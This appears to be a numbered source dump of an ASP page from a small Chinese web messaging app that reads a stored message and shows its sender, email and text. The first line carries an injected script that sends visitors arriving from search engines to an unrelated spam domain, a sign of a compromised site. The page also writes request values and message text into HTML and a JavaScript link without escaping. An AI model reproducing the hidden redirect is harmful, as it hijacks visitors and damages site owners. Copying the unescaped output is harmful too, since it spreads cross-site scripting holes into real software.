d:\wwwroot\wuchunhua\qq\list_message.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%@ LANGUAGE = VBScript%>
002: <%Response.Expires=0%>
003: <%
004:    '字符串处理函数
005:    Function FormatStr(str)
006:       '将,和|两个字符进行替换
007:       ',被用来分割用户各个信息
008:       '|被用来分割不同用户的信息
009:       str=replace(str,",","&#44;")
010:       FormatStr=replace(str,"|","&#124;")
011:    End Function
012:
013:    '如果Request对象中不存在user_id参数
014:    '说明链接发生了错误
015:    If Request("user_id")="" Then
016:       '提示用户出错
017:       Response.write "超链接发生错误"
018:
019:       '终止响应
020:       Response.End
021:    End If
022:
023:    '变量定义
024:    Dim messages,sEnd_id,sEnd_message,sEnd_time,i,temp,sEnd_name,sEnd_email
025:
026:    '获得Application中的所有消息
027:    messages=Application("Messages")
028:    '获得Request中的用户ID号,代表发送消息的用户
029:    sEnd_id=Request("user_id")
030:
031:    '获得消息在字符串中的位置
032:    i=instr(messages,"|" & FormatStr(Session("id")) & "," & sEnd_id)
033:
034:    '如果i小于1,说明链接出现错误
035:    If i<1 Then
036:       '提示用户
037:       Response.write "超链接发生错误或系统发生错误:即i《1" &  FormatStr(Session("id"))
038:       '吴春华添加:增加session id的内容显示更好
039:       
040:       '终止响应
041:       Response.End
042:    End If
043:
044:    '获得从i位置开始的所有消息
045:    messages=mid(messages,i)
046:
047:    '使用|字符对users变量进行分割成各个用户的信息记录
048:    '保存到数组变量中
049:    messages=split(messages,"|")
050:
051:    '获得第一条消息
052:    temp=messages(1)
053:
054:    '使用,字符对消息分割成各个部分
055:    user_temp=split(temp,",")
056:   
057:    '获得消息的各部分信息,如发送时间
058:    '消息内容
059:    sEnd_message=user_temp(2)
060:    '消息发送时间
061:    sEnd_time=user_temp(3)  
062:    '消息发送者的姓名
063:    sEnd_name=user_temp(4)
064:
065:    'Application对象加锁
066:    Application.lock
067:
068:    '从Application中删除该条消息
069: '吴春华:不删除该条消息更好? 让他永久在线?   Application("Messages")=replace(Application("Messages"),"|" & temp,"")
070:
071:    'Application对象解锁
072:    Application.unlock
073:
074:    '获得在线用户记录
075:    users=Application("Users")
076:    '更新Session中记录的时间
077:    Session("times")=dateadd("s",-59,now())
078:
079:    '查询该ID号的的用户记录
080:    i=instr(users,"|" & sEnd_id & ",")
081:
082:    '如果i小于1
083:    If i<1 Then
084:       sEnd_email="&nbsp;"
085:    Else
086:       '处理用户信息
087:       users=mid(users,i)
088:       users=split(users,"|")
089:       user_temps=split(users(1),",")
090:       sEnd_email=user_temps(3)
091:    End If
092:
093:    '显示消息内容
094:    '包括消息发送人的姓名、电子邮件、消息内容
095:    '以及回复消息的链接
096: %
>
097: <body topmargin="0" leftmargin="0">
098: <div align="center">
099:   <center>
100:   <table border="1" width="338" height="165" cellspacing="0" cellpadding="0">
101:     <tr>
102:       <td width="334" height="159" valign="top">
103:         <table border="1" width="100%" height="155">
104:           <tr>
105:             <td width="10%" height="16"><font size="2">网名</font></td>
106:             <td width="35%" height="16" style="font-size: 10pt"><%=sEnd_name%></td>
107:             <td width="12%" height="16"><font size="2">Email</font></td>
108:             <td width="43%" height="16" style="font-size: 10pt"><%=sEnd_email%></td>
109:           </tr>
110:           <tr>
111:             <td width="100%" height="105" colspan="4" valign="top" bgcolor="#C0C0C0" style="font-size: 10.5pt"><%=replace(replace((sEnd_message)," ","&nbsp;"),Vbcrlf,"<br>")%></td>
112:           </tr>
113:           <tr>
114:             <td width="100%" height="16" colspan="4">
115:               <table border="0" width="100%" cellspacing="0" cellpadding="0">
116:                 <tr>
117:                   <td width="25%"><input type="button" value="回复消息" Onclick="javascript:location.href='call_user.asp?user_id=<%=sEnd_id%>'" id="backs"></td>
118:                   <td width="25%"></td>
119:                   <td width="25%"></td>
120:                   <td width="25%"><input type="button" value="关闭窗口" Onclick="javascript:window.close()"></td>
121:                 </tr>
122:               </table>
123:             </td>
124:           </tr>
125:         </table>
126:       </td>
127:     </tr>
128:     <tr>
129:     <td width="100%" height="25" colspan="4" align=center bgcolor="#006699"><font size=2 color="white">
130: </font></td>
131:   </tr>
132:   </table>
133:   </center>
134: </div>
135: <script language="javascript">
136:    backs.focus();
137: </script>
138:
139: